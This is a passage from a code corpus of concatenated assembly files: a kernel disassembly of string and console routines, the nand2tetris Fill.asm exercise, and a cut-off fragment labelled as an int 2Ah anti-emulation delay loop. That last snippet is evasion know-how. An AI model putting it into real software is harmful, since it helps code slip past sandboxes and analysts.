f01024ef: ff 75 10 pushl 0x10(%ebp)
f01024f2: ff 75 0c pushl 0xc(%ebp)
f01024f5: ff 75 08 pushl 0x8(%ebp)
f01024f8: e8 9a ff ff ff call f0102497 <vsnprintf>
f01024fd: c9 leave
f01024fe: c3 ret
f01024ff <readline>:
f01024ff: 55 push %ebp
f0102500: 89 e5 mov %esp,%ebp
f0102502: 57 push %edi
f0102503: 56 push %esi
f0102504: 53 push %ebx
f0102505: 83 ec 0c sub $0xc,%esp
f0102508: 8b 45 08 mov 0x8(%ebp),%eax
f010250b: 85 c0 test %eax,%eax
f010250d: 74 10 je f010251f <readline+0x20>
f010250f: 52 push %edx
f0102510: 52 push %edx
f0102511: 50 push %eax
f0102512: 68 4c 34 10 f0 push $0xf010344c
f0102517: e8 4a ff ff ff call f0102466 <cprintf>
f010251c: 83 c4 10 add $0x10,%esp
f010251f: 83 ec 0c sub $0xc,%esp
f0102522: 31 f6 xor %esi,%esi
f0102524: 6a 00 push $0x0
f0102526: e8 6a e5 ff ff call f0100a95 <iscons>
f010252b: 83 c4 10 add $0x10,%esp
f010252e: 89 c7 mov %eax,%edi
f0102530: e8 4f e5 ff ff call f0100a84 <getchar>
f0102535: 85 c0 test %eax,%eax
f0102537: 89 c3 mov %eax,%ebx
f0102539: 79 1d jns f0102558 <readline+0x59>
f010253b: 31 f6 xor %esi,%esi
f010253d: 83 f8 f8 cmp $0xfffffff8,%eax
f0102540: 0f 84 81 00 00 00 je f01025c7 <readline+0xc8>
f0102546: 50 push %eax
f0102547: 50 push %eax
f0102548: 53 push %ebx
f0102549: 68 4f 34 10 f0 push $0xf010344f
f010254e: e8 13 ff ff ff call f0102466 <cprintf>
f0102553: 83 c4 10 add $0x10,%esp
f0102556: eb 6f jmp f01025c7 <readline+0xc8>
f0102558: 83 f8 7f cmp $0x7f,%eax
f010255b: 74 05 je f0102562 <readline+0x63>
f010255d: 83 f8 08 cmp $0x8,%eax
f0102560: 75 18 jne f010257a <readline+0x7b>
f0102562: 85 f6 test %esi,%esi
f0102564: 74 ca je f0102530 <readline+0x31>
f0102566: 85 ff test %edi,%edi
f0102568: 74 0d je f0102577 <readline+0x78>
f010256a: 83 ec 0c sub $0xc,%esp
f010256d: 6a 08 push $0x8
f010256f: e8 04 e5 ff ff call f0100a78 <cputchar>
f0102574: 83 c4 10 add $0x10,%esp
f0102577: 4e dec %esi
f0102578: eb b6 jmp f0102530 <readline+0x31>
f010257a: 81 fe fe 03 00 00 cmp $0x3fe,%esi
f0102580: 7f 1e jg f01025a0 <readline+0xa1>
f0102582: 83 f8 1f cmp $0x1f,%eax
f0102585: 7e 19 jle f01025a0 <readline+0xa1>
f0102587: 85 ff test %edi,%edi
f0102589: 74 0c je f0102597 <readline+0x98>
f010258b: 83 ec 0c sub $0xc,%esp
f010258e: 50 push %eax
f010258f: e8 e4 e4 ff ff call f0100a78 <cputchar>
f0102594: 83 c4 10 add $0x10,%esp
f0102597: 88 9e c0 04 12 f0 mov %bl,-0xfedfb40(%esi)
f010259d: 46 inc %esi
f010259e: eb 90 jmp f0102530 <readline+0x31>
f01025a0: 83 fb 0d cmp $0xd,%ebx
f01025a3: 74 05 je f01025aa <readline+0xab>
f01025a5: 83 fb 0a cmp $0xa,%ebx
f01025a8: 75 86 jne f0102530 <readline+0x31>
f01025aa: 85 ff test %edi,%edi
f01025ac: 74 0d je f01025bb <readline+0xbc>
f01025ae: 83 ec 0c sub $0xc,%esp
f01025b1: 6a 0a push $0xa
f01025b3: e8 c0 e4 ff ff call f0100a78 <cputchar>
f01025b8: 83 c4 10 add $0x10,%esp
f01025bb: c6 86 c0 04 12 f0 00 movb $0x0,-0xfedfb40(%esi)
f01025c2: be c0 04 12 f0 mov $0xf01204c0,%esi
f01025c7: 8d 65 f4 lea -0xc(%ebp),%esp
f01025ca: 89 f0 mov %esi,%eax
f01025cc: 5b pop %ebx
f01025cd: 5e pop %esi
f01025ce: 5f pop %edi
f01025cf: 5d pop %ebp
f01025d0: c3 ret
f01025d1 <_panic>:
f01025d1: 55 push %ebp
f01025d2: 89 e5 mov %esp,%ebp
f01025d4: 56 push %esi
f01025d5: 53 push %ebx
f01025d6: 8b 5d 10 mov 0x10(%ebp),%ebx
f01025d9: 85 db test %ebx,%ebx
f01025db: 74 2e je f010260b <_panic+0x3a>
f01025dd: fa cli
f01025de: fc cld
f01025df: 50 push %eax
f01025e0: ff 75 0c pushl 0xc(%ebp)
f01025e3: 8d 75 14 lea 0x14(%ebp),%esi
f01025e6: ff 75 08 pushl 0x8(%ebp)
f01025e9: 68 5f 34 10 f0 push $0xf010345f
f01025ee: e8 73 fe ff ff call f0102466 <cprintf>
f01025f3: 5a pop %edx
f01025f4: 59 pop %ecx
f01025f5: 56 push %esi
f01025f6: 53 push %ebx
f01025f7: e8 44 fe ff ff call f0102440 <vcprintf>
f01025fc: c7 04 24 09 2b 10 f0 movl $0xf0102b09,(%esp)
f0102603: e8 5e fe ff ff call f0102466 <cprintf>
f0102608: 83 c4 10 add $0x10,%esp
f010260b: 83 ec 0c sub $0xc,%esp
f010260e: 6a 00 push $0x0
f0102610: e8 64 e5 ff ff call f0100b79 <monitor>
f0102615: eb f1 jmp f0102608 <_panic+0x37>
f0102617 <strlen>:
f0102617: 55 push %ebp
f0102618: 89 e5 mov %esp,%ebp
f010261a: 8b 55 08 mov 0x8(%ebp),%edx
f010261d: 80 3a 00 cmpb $0x0,(%edx)
f0102620: 74 10 je f0102632 <strlen+0x1b>
f0102622: b8 00 00 00 00 mov $0x0,%eax
f0102627: 83 c0 01 add $0x1,%eax
f010262a: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
f010262e: 75 f7 jne f0102627 <strlen+0x10>
f0102630: eb 05 jmp f0102637 <strlen+0x20>
f0102632: b8 00 00 00 00 mov $0x0,%eax
f0102637: 5d pop %ebp
f0102638: c3 ret
f0102639 <strnlen>:
f0102639: 55 push %ebp
f010263a: 89 e5 mov %esp,%ebp
f010263c: 53 push %ebx
f010263d: 8b 5d 08 mov 0x8(%ebp),%ebx
f0102640: 8b 4d 0c mov 0xc(%ebp),%ecx
f0102643: 85 c9 test %ecx,%ecx
f0102645: 74 1c je f0102663 <strnlen+0x2a>
f0102647: 80 3b 00 cmpb $0x0,(%ebx)
f010264a: 74 1e je f010266a <strnlen+0x31>
f010264c: ba 01 00 00 00 mov $0x1,%edx
f0102651: 89 d0 mov %edx,%eax
f0102653: 39 ca cmp %ecx,%edx
f0102655: 74 18 je f010266f <strnlen+0x36>
f0102657: 83 c2 01 add $0x1,%edx
f010265a: 80 7c 13 ff 00 cmpb $0x0,-0x1(%ebx,%edx,1)
f010265f: 75 f0 jne f0102651 <strnlen+0x18>
f0102661: eb 0c jmp f010266f <strnlen+0x36>
f0102663: b8 00 00 00 00 mov $0x0,%eax
f0102668: eb 05 jmp f010266f <strnlen+0x36>
f010266a: b8 00 00 00 00 mov $0x0,%eax
f010266f: 5b pop %ebx
f0102670: 5d pop %ebp
f0102671: c3 ret
f0102672 <strcpy>:
f0102672: 55 push %ebp
f0102673: 89 e5 mov %esp,%ebp
f0102675: 53 push %ebx
f0102676: 8b 45 08 mov 0x8(%ebp),%eax
f0102679: 8b 4d 0c mov 0xc(%ebp),%ecx
f010267c: 89 c2 mov %eax,%edx
f010267e: 83 c2 01 add $0x1,%edx
f0102681: 83 c1 01 add $0x1,%ecx
f0102684: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
f0102688: 88 5a ff mov %bl,-0x1(%edx)
f010268b: 84 db test %bl,%bl
f010268d: 75 ef jne f010267e <strcpy+0xc>
f010268f: 5b pop %ebx
f0102690: 5d pop %ebp
f0102691: c3 ret
f0102692 <strcat>:
f0102692: 55 push %ebp
f0102693: 89 e5 mov %esp,%ebp
f0102695: 53 push %ebx
f0102696: 8b 5d 08 mov 0x8(%ebp),%ebx
f0102699: 53 push %ebx
f010269a: e8 78 ff ff ff call f0102617 <strlen>
f010269f: 83 c4 04 add $0x4,%esp
f01026a2: ff 75 0c pushl 0xc(%ebp)
f01026a5: 01 d8 add %ebx,%eax
f01026a7: 50 push %eax
f01026a8: e8 c5 ff ff ff call f0102672 <strcpy>
f01026ad: 89 d8 mov %ebx,%eax
f01026af: 8b 5d fc mov -0x4(%ebp),%ebx
f01026b2: c9 leave
f01026b3: c3 ret
f01026b4 <strncpy>:
f01026b4: 55 push %ebp
f01026b5: 89 e5 mov %esp,%ebp
f01026b7: 56 push %esi
f01026b8: 53 push %ebx
f01026b9: 8b 75 08 mov 0x8(%ebp),%esi
f01026bc: 8b 55 0c mov 0xc(%ebp),%edx
f01026bf: 8b 5d 10 mov 0x10(%ebp),%ebx
f01026c2: 85 db test %ebx,%ebx
f01026c4: 74 17 je f01026dd <strncpy+0x29>
f01026c6: 01 f3 add %esi,%ebx
f01026c8: 89 f1 mov %esi,%ecx
f01026ca: 83 c1 01 add $0x1,%ecx
f01026cd: 0f b6 02 movzbl (%edx),%eax
f01026d0: 88 41 ff mov %al,-0x1(%ecx)
f01026d3: 80 3a 01 cmpb $0x1,(%edx)
f01026d6: 83 da ff sbb $0xffffffff,%edx
f01026d9: 39 d9 cmp %ebx,%ecx
f01026db: 75 ed jne f01026ca <strncpy+0x16>
f01026dd: 89 f0 mov %esi,%eax
f01026df: 5b pop %ebx
f01026e0: 5e pop %esi
f01026e1: 5d pop %ebp
f01026e2: c3 ret
f01026e3 <strlcpy>:
f01026e3: 55 push %ebp
f01026e4: 89 e5 mov %esp,%ebp
f01026e6: 56 push %esi
f01026e7: 53 push %ebx
f01026e8: 8b 75 08 mov 0x8(%ebp),%esi
f01026eb: 8b 5d 0c mov 0xc(%ebp),%ebx
f01026ee: 8b 55 10 mov 0x10(%ebp),%edx
f01026f1: 89 f0 mov %esi,%eax
f01026f3: 85 d2 test %edx,%edx
f01026f5: 74 35 je f010272c <strlcpy+0x49>
f01026f7: 89 d0 mov %edx,%eax
f01026f9: 83 e8 01 sub $0x1,%eax
f01026fc: 74 25 je f0102723 <strlcpy+0x40>
f01026fe: 0f b6 0b movzbl (%ebx),%ecx
f0102701: 84 c9 test %cl,%cl
f0102703: 74 22 je f0102727 <strlcpy+0x44>
f0102705: 8d 53 01 lea 0x1(%ebx),%edx
f0102708: 01 c3 add %eax,%ebx
f010270a: 89 f0 mov %esi,%eax
f010270c: 83 c0 01 add $0x1,%eax
f010270f: 88 48 ff mov %cl,-0x1(%eax)
f0102712: 39 da cmp %ebx,%edx
f0102714: 74 13 je f0102729 <strlcpy+0x46>
f0102716: 83 c2 01 add $0x1,%edx
f0102719: 0f b6 4a ff movzbl -0x1(%edx),%ecx
f010271d: 84 c9 test %cl,%cl
f010271f: 75 eb jne f010270c <strlcpy+0x29>
f0102721: eb 06 jmp f0102729 <strlcpy+0x46>
f0102723: 89 f0 mov %esi,%eax
f0102725: eb 02 jmp f0102729 <strlcpy+0x46>
f0102727: 89 f0 mov %esi,%eax
f0102729: c6 00 00 movb $0x0,(%eax)
f010272c: 29 f0 sub %esi,%eax
f010272e: 5b pop %ebx
f010272f: 5e pop %esi
f0102730: 5d pop %ebp
f0102731: c3 ret
f0102732 <strcmp>:
f0102732: 55 push %ebp
f0102733: 89 e5 mov %esp,%ebp
f0102735: 8b 4d 08 mov 0x8(%ebp),%ecx
f0102738: 8b 55 0c mov 0xc(%ebp),%edx
f010273b: 0f b6 01 movzbl (%ecx),%eax
f010273e: 84 c0 test %al,%al
f0102740: 74 15 je f0102757 <strcmp+0x25>
f0102742: 3a 02 cmp (%edx),%al
f0102744: 75 11 jne f0102757 <strcmp+0x25>
f0102746: 83 c1 01 add $0x1,%ecx
f0102749: 83 c2 01 add $0x1,%edx
f010274c: 0f b6 01 movzbl (%ecx),%eax
f010274f: 84 c0 test %al,%al
f0102751: 74 04 je f0102757 <strcmp+0x25>
f0102753: 3a 02 cmp (%edx),%al
f0102755: 74 ef je f0102746 <strcmp+0x14>
f0102757: 0f b6 c0 movzbl %al,%eax
f010275a: 0f b6 12 movzbl (%edx),%edx
f010275d: 29 d0 sub %edx,%eax
f010275f: 5d pop %ebp
f0102760: c3 ret
f0102761 <strncmp>:
f0102761: 55 push %ebp
f0102762: 89 e5 mov %esp,%ebp
f0102764: 56 push %esi
f0102765: 53 push %ebx
f0102766: 8b 5d 08 mov 0x8(%ebp),%ebx
f0102769: 8b 55 0c mov 0xc(%ebp),%edx
f010276c: 8b 75 10 mov 0x10(%ebp),%esi
f010276f: 85 f6 test %esi,%esi
f0102771: 74 29 je f010279c <strncmp+0x3b>
f0102773: 0f b6 03 movzbl (%ebx),%eax
f0102776: 84 c0 test %al,%al
f0102778: 74 30 je f01027aa <strncmp+0x49>
f010277a: 3a 02 cmp (%edx),%al
f010277c: 75 2c jne f01027aa <strncmp+0x49>
f010277e: 8d 43 01 lea 0x1(%ebx),%eax
f0102781: 01 de add %ebx,%esi
f0102783: 89 c3 mov %eax,%ebx
f0102785: 83 c2 01 add $0x1,%edx
f0102788: 39 f0 cmp %esi,%eax
f010278a: 74 17 je f01027a3 <strncmp+0x42>
f010278c: 0f b6 08 movzbl (%eax),%ecx
f010278f: 84 c9 test %cl,%cl
f0102791: 74 17 je f01027aa <strncmp+0x49>
f0102793: 83 c0 01 add $0x1,%eax
f0102796: 3a 0a cmp (%edx),%cl
f0102798: 74 e9 je f0102783 <strncmp+0x22>
f010279a: eb 0e jmp f01027aa <strncmp+0x49>
f010279c: b8 00 00 00 00 mov $0x0,%eax
f01027a1: eb 0f jmp f01027b2 <strncmp+0x51>
f01027a3: b8 00 00 00 00 mov $0x0,%eax
f01027a8: eb 08 jmp f01027b2 <strncmp+0x51>
f01027aa: 0f b6 03 movzbl (%ebx),%eax
f01027ad: 0f b6 12 movzbl (%edx),%edx
f01027b0: 29 d0 sub %edx,%eax
f01027b2: 5b pop %ebx
f01027b3: 5e pop %esi
f01027b4: 5d pop %ebp
f01027b5: c3 ret
f01027b6 <strchr>:
f01027b6: 55 push %ebp
f01027b7: 89 e5 mov %esp,%ebp
f01027b9: 53 push %ebx
f01027ba: 8b 45 08 mov 0x8(%ebp),%eax
f01027bd: 8b 55 0c mov 0xc(%ebp),%edx
f01027c0: 0f b6 18 movzbl (%eax),%ebx
f01027c3: 84 db test %bl,%bl
f01027c5: 74 1d je f01027e4 <strchr+0x2e>
f01027c7: 89 d1 mov %edx,%ecx
f01027c9: 38 d3 cmp %dl,%bl
f01027cb: 75 06 jne f01027d3 <strchr+0x1d>
f01027cd: eb 1a jmp f01027e9 <strchr+0x33>
f01027cf: 38 ca cmp %cl,%dl
f01027d1: 74 16 je f01027e9 <strchr+0x33>
f01027d3: 83 c0 01 add $0x1,%eax
f01027d6: 0f b6 10 movzbl (%eax),%edx
f01027d9: 84 d2 test %dl,%dl
f01027db: 75 f2 jne f01027cf <strchr+0x19>
f01027dd: b8 00 00 00 00 mov $0x0,%eax
f01027e2: eb 05 jmp f01027e9 <strchr+0x33>
f01027e4: b8 00 00 00 00 mov $0x0,%eax
f01027e9: 5b pop %ebx
f01027ea: 5d pop %ebp
f01027eb: c3 ret
f01027ec <strfind>:
f01027ec: 55 push %ebp
f01027ed: 89 e5 mov %esp,%ebp
f01027ef: 53 push %ebx
f01027f0: 8b 45 08 mov 0x8(%ebp),%eax
f01027f3: 8b 55 0c mov 0xc(%ebp),%edx
f01027f6: 0f b6 18 movzbl (%eax),%ebx
f01027f9: 84 db test %bl,%bl
f01027fb: 74 14 je f0102811 <strfind+0x25>
f01027fd: 89 d1 mov %edx,%ecx
f01027ff: 38 d3 cmp %dl,%bl
f0102801: 74 0e je f0102811 <strfind+0x25>
f0102803: 83 c0 01 add $0x1,%eax
f0102806: 0f b6 10 movzbl (%eax),%edx
f0102809: 38 ca cmp %cl,%dl
f010280b: 74 04 je f0102811 <strfind+0x25>
f010280d: 84 d2 test %dl,%dl
f010280f: 75 f2 jne f0102803 <strfind+0x17>
f0102811: 5b pop %ebx
f0102812: 5d pop %ebp
f0102813: c3 ret
f0102814 <memset>:
f0102814: 55 push %ebp
f0102815: 89 e5 mov %esp,%ebp
f0102817: 57 push %edi
f0102818: 56 push %esi
f0102819: 53 push %ebx
f010281a: 8b 7d 08 mov 0x8(%ebp),%edi
f010281d: 8b 4d 10 mov 0x10(%ebp),%ecx
f0102820: 85 c9 test %ecx,%ecx
f0102822: 74 36 je f010285a <memset+0x46>
f0102824: f7 c7 03 00 00 00 test $0x3,%edi
f010282a: 75 28 jne f0102854 <memset+0x40>
f010282c: f6 c1 03 test $0x3,%cl
f010282f: 75 23 jne f0102854 <memset+0x40>
f0102831: 0f b6 55 0c movzbl 0xc(%ebp),%edx
f0102835: 89 d3 mov %edx,%ebx
f0102837: c1 e3 08 shl $0x8,%ebx
f010283a: 89 d6 mov %edx,%esi
f010283c: c1 e6 18 shl $0x18,%esi
f010283f: 89 d0 mov %edx,%eax
f0102841: c1 e0 10 shl $0x10,%eax
f0102844: 09 f0 or %esi,%eax
f0102846: 09 c2 or %eax,%edx
f0102848: 89 d0 mov %edx,%eax
f010284a: 09 d8 or %ebx,%eax
f010284c: c1 e9 02 shr $0x2,%ecx
f010284f: fc cld
f0102850: f3 ab rep stos %eax,%es:(%edi)
f0102852: eb 06 jmp f010285a <memset+0x46>
f0102854: 8b 45 0c mov 0xc(%ebp),%eax
f0102857: fc cld
f0102858: f3 aa rep stos %al,%es:(%edi)
f010285a: 89 f8 mov %edi,%eax
f010285c: 5b pop %ebx
f010285d: 5e pop %esi
f010285e: 5f pop %edi
f010285f: 5d pop %ebp
f0102860: c3 ret
f0102861 <memmove>:
f0102861: 55 push %ebp
f0102862: 89 e5 mov %esp,%ebp
f0102864: 57 push %edi
f0102865: 56 push %esi
f0102866: 8b 45 08 mov 0x8(%ebp),%eax
f0102869: 8b 75 0c mov 0xc(%ebp),%esi
f010286c: 8b 4d 10 mov 0x10(%ebp),%ecx
f010286f: 39 c6 cmp %eax,%esi
f0102871: 73 35 jae f01028a8 <memmove+0x47>
f0102873: 8d 14 0e lea (%esi,%ecx,1),%edx
f0102876: 39 d0 cmp %edx,%eax
f0102878: 73 2e jae f01028a8 <memmove+0x47>
f010287a: 8d 3c 08 lea (%eax,%ecx,1),%edi
f010287d: 89 d6 mov %edx,%esi
f010287f: 09 fe or %edi,%esi
f0102881: f7 c6 03 00 00 00 test $0x3,%esi
f0102887: 75 13 jne f010289c <memmove+0x3b>
f0102889: f6 c1 03 test $0x3,%cl
f010288c: 75 0e jne f010289c <memmove+0x3b>
f010288e: 83 ef 04 sub $0x4,%edi
f0102891: 8d 72 fc lea -0x4(%edx),%esi
f0102894: c1 e9 02 shr $0x2,%ecx
f0102897: fd std
f0102898: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
f010289a: eb 09 jmp f01028a5 <memmove+0x44>
f010289c: 83 ef 01 sub $0x1,%edi
f010289f: 8d 72 ff lea -0x1(%edx),%esi
f01028a2: fd std
f01028a3: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
f01028a5: fc cld
f01028a6: eb 1d jmp f01028c5 <memmove+0x64>
f01028a8: 89 f2 mov %esi,%edx
f01028aa: 09 c2 or %eax,%edx
f01028ac: f6 c2 03 test $0x3,%dl
f01028af: 75 0f jne f01028c0 <memmove+0x5f>
f01028b1: f6 c1 03 test $0x3,%cl
f01028b4: 75 0a jne f01028c0 <memmove+0x5f>
f01028b6: c1 e9 02 shr $0x2,%ecx
f01028b9: 89 c7 mov %eax,%edi
f01028bb: fc cld
f01028bc: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
f01028be: eb 05 jmp f01028c5 <memmove+0x64>
f01028c0: 89 c7 mov %eax,%edi
f01028c2: fc cld
f01028c3: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
f01028c5: 5e pop %esi
f01028c6: 5f pop %edi
f01028c7: 5d pop %ebp
f01028c8: c3 ret
f01028c9 <memcpy>:
f01028c9: 55 push %ebp
f01028ca: 89 e5 mov %esp,%ebp
f01028cc: ff 75 10 pushl 0x10(%ebp)
f01028cf: ff 75 0c pushl 0xc(%ebp)
f01028d2: ff 75 08 pushl 0x8(%ebp)
f01028d5: e8 87 ff ff ff call f0102861 <memmove>
f01028da: c9 leave
f01028db: c3 ret
f01028dc <memcmp>:
f01028dc: 55 push %ebp
f01028dd: 89 e5 mov %esp,%ebp
f01028df: 57 push %edi
f01028e0: 56 push %esi
f01028e1: 53 push %ebx
f01028e2: 8b 5d 08 mov 0x8(%ebp),%ebx
f01028e5: 8b 75 0c mov 0xc(%ebp),%esi
f01028e8: 8b 45 10 mov 0x10(%ebp),%eax
f01028eb: 8d 78 ff lea -0x1(%eax),%edi
f01028ee: 85 c0 test %eax,%eax
f01028f0: 74 36 je f0102928 <memcmp+0x4c>
f01028f2: 0f b6 13 movzbl (%ebx),%edx
f01028f5: 0f b6 0e movzbl (%esi),%ecx
f01028f8: 38 ca cmp %cl,%dl
f01028fa: 75 17 jne f0102913 <memcmp+0x37>
f01028fc: b8 00 00 00 00 mov $0x0,%eax
f0102901: eb 1a jmp f010291d <memcmp+0x41>
f0102903: 0f b6 54 03 01 movzbl 0x1(%ebx,%eax,1),%edx
f0102908: 83 c0 01 add $0x1,%eax
f010290b: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx
f010290f: 38 ca cmp %cl,%dl
f0102911: 74 0a je f010291d <memcmp+0x41>
f0102913: 0f b6 c2 movzbl %dl,%eax
f0102916: 0f b6 c9 movzbl %cl,%ecx
f0102919: 29 c8 sub %ecx,%eax
f010291b: eb 10 jmp f010292d <memcmp+0x51>
f010291d: 39 f8 cmp %edi,%eax
f010291f: 75 e2 jne f0102903 <memcmp+0x27>
f0102921: b8 00 00 00 00 mov $0x0,%eax
f0102926: eb 05 jmp f010292d <memcmp+0x51>
f0102928: b8 00 00 00 00 mov $0x0,%eax
f010292d: 5b pop %ebx
f010292e: 5e pop %esi
f010292f: 5f pop %edi
f0102930: 5d pop %ebp
f0102931: c3 ret
f0102932 <memfind>:
f0102932: 55 push %ebp
f0102933: 89 e5 mov %esp,%ebp
f0102935: 53 push %ebx
f0102936: 8b 55 08 mov 0x8(%ebp),%edx
f0102939: 8b 5d 0c mov 0xc(%ebp),%ebx
f010293c: 89 d0 mov %edx,%eax
f010293e: 03 45 10 add 0x10(%ebp),%eax
f0102941: 39 c2 cmp %eax,%edx
f0102943: 73 15 jae f010295a <memfind+0x28>
f0102945: 89 d9 mov %ebx,%ecx
f0102947: 38 1a cmp %bl,(%edx)
f0102949: 75 06 jne f0102951 <memfind+0x1f>
f010294b: eb 11 jmp f010295e <memfind+0x2c>
f010294d: 38 0a cmp %cl,(%edx)
f010294f: 74 11 je f0102962 <memfind+0x30>
f0102951: 83 c2 01 add $0x1,%edx
f0102954: 39 c2 cmp %eax,%edx
f0102956: 75 f5 jne f010294d <memfind+0x1b>
f0102958: eb 0a jmp f0102964 <memfind+0x32>
f010295a: 89 d0 mov %edx,%eax
f010295c: eb 06 jmp f0102964 <memfind+0x32>
f010295e: 89 d0 mov %edx,%eax
f0102960: eb 02 jmp f0102964 <memfind+0x32>
f0102962: 89 d0 mov %edx,%eax
f0102964: 5b pop %ebx
f0102965: 5d pop %ebp
f0102966: c3 ret
f0102967 <strtol>:
f0102967: 55 push %ebp
f0102968: 89 e5 mov %esp,%ebp
f010296a: 57 push %edi
f010296b: 56 push %esi
f010296c: 53 push %ebx
f010296d: 8b 4d 08 mov 0x8(%ebp),%ecx
f0102970: 8b 5d 10 mov 0x10(%ebp),%ebx
f0102973: 0f b6 01 movzbl (%ecx),%eax
f0102976: 3c 09 cmp $0x9,%al
f0102978: 74 04 je f010297e <strtol+0x17>
f010297a: 3c 20 cmp $0x20,%al
f010297c: 75 0e jne f010298c <strtol+0x25>
f010297e: 83 c1 01 add $0x1,%ecx
f0102981: 0f b6 01 movzbl (%ecx),%eax
f0102984: 3c 09 cmp $0x9,%al
f0102986: 74 f6 je f010297e <strtol+0x17>
f0102988: 3c 20 cmp $0x20,%al
f010298a: 74 f2 je f010297e <strtol+0x17>
f010298c: 3c 2b cmp $0x2b,%al
f010298e: 75 0a jne f010299a <strtol+0x33>
f0102990: 83 c1 01 add $0x1,%ecx
f0102993: bf 00 00 00 00 mov $0x0,%edi
f0102998: eb 10 jmp f01029aa <strtol+0x43>
f010299a: bf 00 00 00 00 mov $0x0,%edi
f010299f: 3c 2d cmp $0x2d,%al
f01029a1: 75 07 jne f01029aa <strtol+0x43>
f01029a3: 83 c1 01 add $0x1,%ecx
f01029a6: 66 bf 01 00 mov $0x1,%di
f01029aa: 85 db test %ebx,%ebx
f01029ac: 0f 94 c0 sete %al
f01029af: f7 c3 ef ff ff ff test $0xffffffef,%ebx
f01029b5: 75 19 jne f01029d0 <strtol+0x69>
f01029b7: 80 39 30 cmpb $0x30,(%ecx)
f01029ba: 75 14 jne f01029d0 <strtol+0x69>
f01029bc: 80 79 01 78 cmpb $0x78,0x1(%ecx)
f01029c0: 0f 85 82 00 00 00 jne f0102a48 <strtol+0xe1>
f01029c6: 83 c1 02 add $0x2,%ecx
f01029c9: bb 10 00 00 00 mov $0x10,%ebx
f01029ce: eb 16 jmp f01029e6 <strtol+0x7f>
f01029d0: 84 c0 test %al,%al
f01029d2: 74 12 je f01029e6 <strtol+0x7f>
f01029d4: bb 0a 00 00 00 mov $0xa,%ebx
f01029d9: 80 39 30 cmpb $0x30,(%ecx)
f01029dc: 75 08 jne f01029e6 <strtol+0x7f>
f01029de: 83 c1 01 add $0x1,%ecx
f01029e1: bb 08 00 00 00 mov $0x8,%ebx
f01029e6: b8 00 00 00 00 mov $0x0,%eax
f01029eb: 89 5d 10 mov %ebx,0x10(%ebp)
f01029ee: 0f b6 11 movzbl (%ecx),%edx
f01029f1: 8d 72 d0 lea -0x30(%edx),%esi
f01029f4: 89 f3 mov %esi,%ebx
f01029f6: 80 fb 09 cmp $0x9,%bl
f01029f9: 77 08 ja f0102a03 <strtol+0x9c>
f01029fb: 0f be d2 movsbl %dl,%edx
f01029fe: 83 ea 30 sub $0x30,%edx
f0102a01: eb 22 jmp f0102a25 <strtol+0xbe>
f0102a03: 8d 72 9f lea -0x61(%edx),%esi
f0102a06: 89 f3 mov %esi,%ebx
f0102a08: 80 fb 19 cmp $0x19,%bl
f0102a0b: 77 08 ja f0102a15 <strtol+0xae>
f0102a0d: 0f be d2 movsbl %dl,%edx
f0102a10: 83 ea 57 sub $0x57,%edx
f0102a13: eb 10 jmp f0102a25 <strtol+0xbe>
f0102a15: 8d 72 bf lea -0x41(%edx),%esi
f0102a18: 89 f3 mov %esi,%ebx
f0102a1a: 80 fb 19 cmp $0x19,%bl
f0102a1d: 77 16 ja f0102a35 <strtol+0xce>
f0102a1f: 0f be d2 movsbl %dl,%edx
f0102a22: 83 ea 37 sub $0x37,%edx
f0102a25: 3b 55 10 cmp 0x10(%ebp),%edx
f0102a28: 7d 0f jge f0102a39 <strtol+0xd2>
f0102a2a: 83 c1 01 add $0x1,%ecx
f0102a2d: 0f af 45 10 imul 0x10(%ebp),%eax
f0102a31: 01 d0 add %edx,%eax
f0102a33: eb b9 jmp f01029ee <strtol+0x87>
f0102a35: 89 c2 mov %eax,%edx
f0102a37: eb 02 jmp f0102a3b <strtol+0xd4>
f0102a39: 89 c2 mov %eax,%edx
f0102a3b: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
f0102a3f: 74 0d je f0102a4e <strtol+0xe7>
f0102a41: 8b 75 0c mov 0xc(%ebp),%esi
f0102a44: 89 0e mov %ecx,(%esi)
f0102a46: eb 06 jmp f0102a4e <strtol+0xe7>
f0102a48: 84 c0 test %al,%al
f0102a4a: 75 92 jne f01029de <strtol+0x77>
f0102a4c: eb 98 jmp f01029e6 <strtol+0x7f>
f0102a4e: f7 da neg %edx
f0102a50: 85 ff test %edi,%edi
f0102a52: 0f 45 c2 cmovne %edx,%eax
f0102a55: 5b pop %ebx
f0102a56: 5e pop %esi
f0102a57: 5f pop %edi
f0102a58: 5d pop %ebp
f0102a59: c3 ret
| dalegebit/DamnOS-DamnFS | src/kernel.asm | Assembly | mit | 194,530 |
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/04/Fill.asm
// Runs an infinite loop that listens to the keyboard input.
// When a key is pressed (any key), the program blackens the screen,
// i.e. writes "black" in every pixel. When no key is pressed, the
// program clears the screen, i.e. writes "white" in every pixel.
// Refrence from https://github.com/havivha/Nand2Tetris
@status
M=-1 // status=0xFFFF
D=0 // Argument - what to set screen bits to
@SETSCREEN
0;JMP
(LOOP)
@KBD
D=M // D = current keyboard character
@SETSCREEN
D;JEQ // If no key, set screen to zeroes (white)
D=-1 // If key pressed, set screen to all 1 bits (black)
(SETSCREEN) // Set D=new status before jumping here
@ARG
M=D // Save new status arg
@status // FFFF=black, 0=white - status of entire screen
D=D-M // D=newstatus-status
@LOOP
D;JEQ // Do nothing if new status == old status
@ARG
D=M
@status
M=D // status = ARG
@SCREEN
D=A // D=Screen address
@8192
D=D+A // D=Byte just past last screen address
@i
M=D // i=SCREEN address
(SETLOOP)
@i
D=M-1
M=D // i=i-1
@LOOP
D;JLT // if i<0 goto LOOP
@status
D=M // D=status
@i
A=M // Indirect
M=D // M[current screen address]=status
@SETLOOP
0;JMP | YeEmrick/learning | nand2tetris/projects/04/fill/Fill.asm | Assembly | apache-2.0 | 1,653 |
; an int 2a based delay loop (anti emulation)
%include '..\..\standard_hdr.asm'
EntryPoint:
mov esi,80h
xor edi,edi
loop0:
int 2ah
mov ecx,eax
loop1:
int 2ah
cmp eax,ecx
je loop1
mov ecx,eax
mov ebx,eax
int 2ah
mov ecx,eax
loop2:
int 2ah
